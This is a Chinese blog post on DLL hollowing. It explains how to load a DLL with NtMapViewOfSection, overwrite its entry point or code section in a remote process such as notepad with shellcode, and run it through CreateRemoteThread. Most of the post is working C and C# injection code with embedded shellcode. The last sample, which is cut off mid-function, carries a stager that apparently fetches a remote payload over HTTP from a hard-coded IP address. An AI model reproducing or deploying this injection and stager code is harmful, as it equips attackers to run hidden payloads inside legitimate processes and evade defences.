DLL镂空不使用Loadlibrary

  1. 前言
  2. 利用NtMapViewOfSection来加载DLL
  3. DLL .txt区段插入shellcode用CreateRemoteThread调用

前言

被几个吊毛同事催着更博客,立刻更了一篇 (

利用NtMapViewOfSection来加载DLL

看到一遍文章,利用NtMapViewOfSection来加载DLL。不使用LoadLibrary来加载DLL复现了一下
NtMapViewOfSection,之前复现过NtCreateSection + NtMapViewOfSection 代码注入。当时没有好好的看NtMapViewOfSection这个API函数。顺便记录一下
ZwCreateSection

NTSYSAPI NTSTATUS ZwCreateSection(
  [out]          PHANDLE            SectionHandle,
  [in]           ACCESS_MASK        DesiredAccess,
  [in, optional] POBJECT_ATTRIBUTES ObjectAttributes,
  [in, optional] PLARGE_INTEGER     MaximumSize,
  [in]           ULONG              SectionPageProtection,
  [in]           ULONG              AllocationAttributes,
  [in, optional] HANDLE             FileHandle
);

ZwMapViewOfSection

NTSYSAPI NTSTATUS ZwMapViewOfSection(
  [in]                HANDLE          SectionHandle,
  [in]                HANDLE          ProcessHandle,
  [in, out]           PVOID           *BaseAddress,
  [in]                ULONG_PTR       ZeroBits,
  [in]                SIZE_T          CommitSize,
  [in, out, optional] PLARGE_INTEGER  SectionOffset,
  [in, out]           PSIZE_T         ViewSize,
  [in]                SECTION_INHERIT InheritDisposition,
  [in]                ULONG           AllocationType,
  [in]                ULONG           Win32Protect
);

NtMapViewOfSection可以共享进程之间的内存。类似于下图

文章里的介绍

Demo1
利用tMapViewOfSection代替VirtualAllocEx和WriteProcessMemory,将要Load的DLL路径写入远程的进程

// demo.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <Windows.h>
#include <iostream>
#include <psapi.h>
#pragma comment(lib, "ntdll")
#define errorprint(name){printf("%s Error Code:%d\n",GetLastError());}
typedef struct _LSA_UNICODE_STRING { USHORT Length;  USHORT MaximumLength; PWSTR  Buffer;  } UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING   ObjectName; ULONG Attributes; PVOID SecurityDescriptor;     PVOID   SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *  PCLIENT_ID;
using myNtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG   DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER   MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE   FileHandle OPTIONAL);
using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle,  PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset,  PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using myRtlCreateUserThread = NTSTATUS(NTAPI*)(IN HANDLE ProcessHandle, IN   PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG   StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID   StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID   ClientID);
myNtCreateSection fNtCreateSection =  (myNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection"));
myNtMapViewOfSection fNtMapViewOfSection =  (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection"));
myRtlCreateUserThread fRtlCreateUserThread =  (myRtlCreateUserThread)(GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread"));
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
int main()
{
    HANDLE sectionHandle = NULL;
    PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
    SIZE_T size = 4096;
    INT PID = 23164;
    LARGE_INTEGER sectionSize = { size };
    TCHAR moduleName[] = L"C:\\Windows\\System32\\xwreg.dll";
    HMODULE hmodules[MAX_PATH] = {};
    DWORD hmodulesize = sizeof(hmodules);
    DWORD hmodulesizeneeded = 0;
    HMODULE rmodule = NULL;
    CHAR rmoduleName[MAX_PATH] = {};
    fNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE |  SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE,  SEC_COMMIT, NULL);
    fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL,  NULL, NULL, &size, 2, NULL, PAGE_READWRITE);
    printf("LocalAddress:0x%x\n", localSectionAddress);
    HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS, false, PID);
    if (hprocess == NULL) {
        errorprint("OpenProcess");
    }
    fNtMapViewOfSection(sectionHandle, hprocess, &remoteSectionAddress, NULL, NULL, NULL,  &size, 2, NULL, PAGE_READWRITE);
    printf("remoteSectionAddress:0x%x\n", remoteSectionAddress);
    memcpy(localSectionAddress, moduleName, sizeof(moduleName));
    PTHREAD_START_ROUTINE loadaddress =  (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32"), "LoadLibraryW");
    printf("LoadLibraryA Address:0x%x\n", loadaddress);
    HANDLE dllThread = CreateRemoteThread(hprocess, NULL, 0, loadaddress,  remoteSectionAddress, 0, NULL); //远程线程调用LoadlibraryW函数加载xwreg.dll
    WaitForSingleObject(dllThread, 1000); //休眠10秒
    EnumProcessModules(hprocess, hmodules, hmodulesize, &hmodulesizeneeded); //获取进程加载的所有模块句柄数量
    for (int calc = 0; calc < (hmodulesizeneeded / sizeof(HMODULE)); calc++) {
        rmodule = hmodules[calc];
        GetModuleBaseNameA(hprocess, rmodule, rmoduleName, sizeof(rmoduleName)); //获取模块名称
        if (strcmp(rmoduleName, "xwreg.dll") == 0) {
            break;
        }
    }
    printf("%s %x\n", rmoduleName, rmodule);
    DWORD headerbuffersize = 0x1000;
    LPVOID peHeader = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerbuffersize);
    ReadProcessMemory(hprocess, rmodule, peHeader, headerbuffersize, NULL); //读取dll pe地址
    PIMAGE_DOS_HEADER dosheader = (PIMAGE_DOS_HEADER)peHeader; //dll DOS头
    PIMAGE_NT_HEADERS ntheader = (PIMAGE_NT_HEADERS)((DWORD_PTR)peHeader +  dosheader->e_lfanew); //dll BaseAddress+文件相对偏移地址=ntaddress
    LPVOID dllEntryPoint = (LPVOID)(ntheader->OptionalHeader.AddressOfEntryPoint +  (DWORD_PTR)rmodule); //入口点指针地址+指定dll基地址=模块入口点
    WriteProcessMemory(hprocess, dllEntryPoint, (LPVOID)buf, sizeof(buf), NULL); //写入shellcode
    CreateRemoteThread(hprocess, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint,  NULL, 0, NULL); //远程线程启动
    return 0;
}

Demo2
利用tMapViewOfSection代替LoadLibrary加载DLL

// demo.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <Windows.h>
#include <iostream>
#include <psapi.h>
#include <tlhelp32.h>
#pragma comment(lib, "ntdll")
#define errorprint(name){printf("%s Error Code:%d\n",GetLastError());}
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
typedef struct _LSA_UNICODE_STRING { USHORT Length;  USHORT MaximumLength; PWSTR  Buffer;  } UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING   ObjectName; ULONG Attributes; PVOID SecurityDescriptor;     PVOID   SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *  PCLIENT_ID;
typedef enum _SECTION_INHERIT
{
    ViewShare = 1,
    ViewUnmap = 2
} SECTION_INHERIT, * PSECTION_INHERIT;
using myNtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG   DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER   MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE   FileHandle OPTIONAL);
using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle,  PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset,  PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using myRtlCreateUserThread = NTSTATUS(NTAPI*)(IN HANDLE ProcessHandle, IN   PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG   StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID   StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID   ClientID);
myNtCreateSection fNtCreateSection =  (myNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection"));
myNtMapViewOfSection fNtMapViewOfSection =  (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection"));
myRtlCreateUserThread fRtlCreateUserThread =  (myRtlCreateUserThread)(GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread"));
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
PVOID map_dll_image(HANDLE hSection, HANDLE hProcess, DWORD protect) //传入文件映射对象、进程句柄、页面可读可写权限
{
    NTSTATUS                  status;
    PVOID                             sectionBaseAddress;
    SIZE_T                            viewSize;
    SECTION_INHERIT           inheritDisposition;
    if (hProcess == NULL)
        return NULL;
    // NtMapViewOfSection always fail when you specify a desired base address
    sectionBaseAddress = NULL;
    viewSize = 0;
    inheritDisposition = ViewShare;
    status = fNtMapViewOfSection((HANDLE)hSection, //文件映射对象
        (HANDLE)hProcess, //进程句柄
        (PVOID*)&sectionBaseAddress, //接收返回基址
        (ULONG_PTR)NULL,
        (SIZE_T)NULL,
        (PLARGE_INTEGER)NULL,
        &viewSize, //从SectionOffset开始并继续到该部分末尾的部分的视图范围+1
        inheritDisposition,
        (ULONG)PtrToUlong(NULL),
        (ULONG)protect); //页面权限修改
    if (!NT_SUCCESS(status)) {
        printf("NtMapViewOfSection: 0x%x\n", status);
        return NULL;
    }
    return sectionBaseAddress; //返回修改后的基址
}
int main()
{
    HANDLE hSection = NULL;
    PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
    SIZE_T size = 4096;
    INT PID = 24552;
    LARGE_INTEGER sectionSize = { size };
    TCHAR moduleName[] = L"C:\\Windows\\System32\\xwreg.dll";
    HMODULE hmodules[MAX_PATH] = {};
    DWORD hmodulesize = sizeof(hmodules);
    DWORD hmodulesizeneeded = 0;
    HANDLE hFile = NULL;
    NTSTATUS status = 0;
    DWORD protect = 0x0;
    BYTE* mapped = NULL;
    hFile = CreateFileW(moduleName, GENERIC_READ, 0, NULL, OPEN_EXISTING,  FILE_ATTRIBUTE_NORMAL, NULL);
    status = fNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY,  SEC_IMAGE, hFile);
    if (!NT_SUCCESS(status)) {
        printf("NtCreateSection: 0x%x\n", status);
        CloseHandle(hFile);
        return NULL;
    }
    printf("Section created - hSection = 0x%x\n", hSection);
    HANDLE hprocess = OpenProcess(PROCESS_ALL_ACCESS, false, PID);
    if (hprocess == NULL) {
        errorprint("OpenProcess");
    }
    protect = PAGE_READWRITE;
    mapped = (BYTE*)map_dll_image(hSection, hprocess, protect);
    if (mapped == NULL) {
        CloseHandle(hSection);
        CloseHandle(hFile);
        return NULL;
    }
    printf("Load DLL:%s 0x%x\n", moduleName, mapped);
    DWORD headerbuffersize = 0x1000;
    LPVOID peHeader = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerbuffersize);
    ReadProcessMemory(hprocess, mapped, peHeader, headerbuffersize, NULL); //读取dll pe地址
    PIMAGE_DOS_HEADER dosheader = (PIMAGE_DOS_HEADER)peHeader; //dll DOS头
    PIMAGE_NT_HEADERS ntheader = (PIMAGE_NT_HEADERS)((DWORD_PTR)peHeader +  dosheader->e_lfanew); //dll BaseAddress+文件相对偏移地址=ntaddress
    LPVOID dllEntryPoint = (LPVOID)(ntheader->OptionalHeader.AddressOfEntryPoint +  (DWORD_PTR)mapped); //入口点指针地址+指定dll基地址=模块入口点
    WriteProcessMemory(hprocess, dllEntryPoint, (LPVOID)buf, sizeof(buf), NULL); //写入shellcode
    CreateRemoteThread(hprocess, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0,  NULL); //远程线程启动
    return 0;
}

NtMapViewOfSection加载DLL:

执行结果如下:

也可以按照文章里的,获取到DLL后。直接申请权限可读、可写然后写入shellcode在远程线程调用。不过改来改去太敏感了

该文章的POC思路如下:

1. 获取系统根目录
2. 搜索根目录里的DLL
3.判断DLL的PE大小是否小于shellcode大小
    1. 如果小于则返回该DLL的路径
4. 检测是否要绕过CFG (Win10 执行流保护)
5. NtMapViewOfSection加载DLL
6. 更改权限写入shellcode
7. 远程线程调用

参考链接:
https://www.secforce.com/blog/dll-hollowing-a-deep-dive-into-a-stealthier-memory-allocation-variant/
https://github.com/SECFORCE/DLL-Hollow-PoC
https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection

DLL .txt区段插入shellcode用CreateRemoteThread调用

注意事项:

* x64只能注x64的进程,x86只能插x86的进程。对应进程位数带有下面的两个dll,需要根据位数来注入

最近两天有更简单粗暴的方法,找一个DLL .txt区段插入shellcode用CreateRemoteThread调用。进程不会崩溃的
原文链接:https://www.netero1010-securitylab.com/eavsion/alternative-process-injection
测试了一下win10稳定加载shellcode 进程不会崩溃的两个DLL

* uxtheme.dll
* msvcp_win.dll

csharp

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;


namespace AnotherDLLHollowing
{
    class Program
    {
        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);


        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);


        [DllImport("kernel32.dll")]
        static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);


        static void Main(string[] args)
        {
            int pid = Process.GetProcessesByName("notepad")[0].Id;
byte[] buf = new byte[276] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x2e,0x65,0x78,0x65,0x00 };




            Process processObj = Process.GetProcessById(pid);
            foreach (ProcessModule module in processObj.Modules)
            {
                if (module.FileName.ToLower().Contains("gdi32full.dll"))
                {
                    IntPtr addr = module.BaseAddress + 4096;
                    Console.WriteLine("DLL BaseAddress:"+addr);
                    IntPtr outSize;
                    uint oldProtect;
                    VirtualProtectEx(processObj.Handle, addr, (UIntPtr)buf.Length, 0x04, out oldProtect);
                    WriteProcessMemory(processObj.Handle, addr, buf, buf.Length, out outSize);
                    VirtualProtectEx(processObj.Handle, addr, (UIntPtr)buf.Length, 0x20, out oldProtect);
                    IntPtr hThread = CreateRemoteThread(processObj.Handle, IntPtr.Zero, 0, addr, IntPtr.Zero, 0x0, out hThread);
                    break;
                }
            }
        }
    }
}

C
示例代码:

#include "stdafx.h"
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
unsigned char buf[] =  "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x41\x55\x53\x74\x00\x50\x3b\xee\xb2\x1e\xaf\x7b\x8f\xea\x2c\xc7\x03\x8a\xe7\x01\x52\x2d\x36\x42\x10\xdd\x4f\xd5\x10\x29\x0a\x34\x71\x55\x7a\x57\x16\x7b\x4e\xf0\x72\x78\xf7\x03\x64\xcd\x76\x26\x3d\x72\x2c\x3b\x61\x37\x22\xba\x56\xd9\x08\xa9\xf1\x4b\x07\xea\xf3\xd3\x37\xc7\x2e\x72\x78\x95\xa6\x04\x84\xd9\xf2\xa7\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x4e\x50\x30\x38\x3b\x20\x4d\x41\x41\x55\x3b\x20\x4e\x50\x30\x38\x29\x0d\x0a\x00\x1e\x20\xa6\xba\x38\x5d\xf2\x48\xf5\x8a\xd0\xe1\x67\x11\x2c\x89\x1e\x13\x84\xfd\x3b\x1b\x2a\x76\xcc\xe3\x06\x10\xdb\xcb\x91\x3a\xbe\x47\xce\x62\xb6\x30\x67\x3a\x1a\x4d\xcb\x60\x6b\x61\x47\x54\x5f\x23\x37\x02\xda\xd6\x4c\x64\xb5\x28\x25\xc9\x15\x17\x78\x86\x24\x71\xdb\xf0\x39\x02\xdf\xcc\x96\xd6\x0a\x28\xb0\xe8\xea\x5c\xa2\x21\xe4\xb9\x01\x98\xf7\x53\x52\x2c\xe3\x6f\x0e\x94\xf9\x6b\x81\x19\x67\xd4\x1a\x0d\xa8\x9b\xe5\x08\x1c\x3d\x14\xe1\x78\x91\xa6\xa4\x4b\x7b\x55\x4e\x8e\x44\xb6\x2c\xe2\xce\x6f\x23\x66\x09\x1b\x78\xb5\xe0\xec\x35\x28\xd0\x27\x6c\xde\xf1\xd3\xb5\xbd\xb3\xe8\x23\x7e\x0f\x69\xa2\x57\x57\x7d\x8c\x2f\xb3\x32\x45\x84\x2a\x6a\x2d\xde\xa0\xdd\xc0\x8a\x78\x36\x20\xbb\xa5\x35\xc4\x19\x2a\x03\x66\x25\xc7\xc0\xdd\xc8\x53\x37\x97\x6d\xb4\x8a\x30\xba\xad\xfe\x09\xe6\xbf\xae\x80\x7c\xdb\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x30\x2e\x31\x30\x30\x2e\x35\x2e\x37\x33\x00\x00\x08\xc3\x27";
int PrintModules(HANDLE hProcess, DWORD processID)
{
        printf("inject PID:%d\n",processID);
        CHAR targetdll[] = "uxtheme.dll";
        CHAR dllname[1024] = { 0 };
        DWORD oldProtect;
        MODULEENTRY32 moduleEntry;
        HANDLE handle = NULL;
        handle = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, processID); //  获取进程快照中包含在th32ProcessID中指定的进程的所有的模块。
        if (!handle) {
               CloseHandle(handle);
               return NULL;
        }
        ZeroMemory(&moduleEntry, sizeof(MODULEENTRY32));
        moduleEntry.dwSize = sizeof(MODULEENTRY32);
        if (!Module32First(handle, &moduleEntry)) {
               CloseHandle(handle);
               return NULL;
        }
        do {
               sprintf(dllname, "%ws", moduleEntry.szModule);
        //      printf("%s\n", dllname);
               if (strcmp(dllname, targetdll) == 0) {
                       printf("find DLL:%s\n",targetdll);
                       BYTE *Address = moduleEntry.modBaseAddr + 4096;
                       printf("DLL Address:0x%x\n",Address);
                       VirtualProtectEx(hProcess, Address, sizeof(buf), 0x04,  &oldProtect);
                       WriteProcessMemory(hProcess, Address, buf, sizeof(buf), NULL);
                       VirtualProtectEx(hProcess, Address, sizeof(buf), 0x20,  &oldProtect);
                       CreateRemoteThread(hProcess, NULL, 0,  (LPTHREAD_START_ROUTINE)Address, NULL, 0, NULL);
                       printf("[+] inject shellcode sucess\n");
               }
        } while (Module32Next(handle, &moduleEntry));
        CloseHandle(handle);
        return 0;
}
int main()
{
        char targetname[] = "C:\\Windows\\System32\\notepad.exe";
        STARTUPINFOA si = { 0 };
        PROCESS_INFORMATION pi = { 0 };
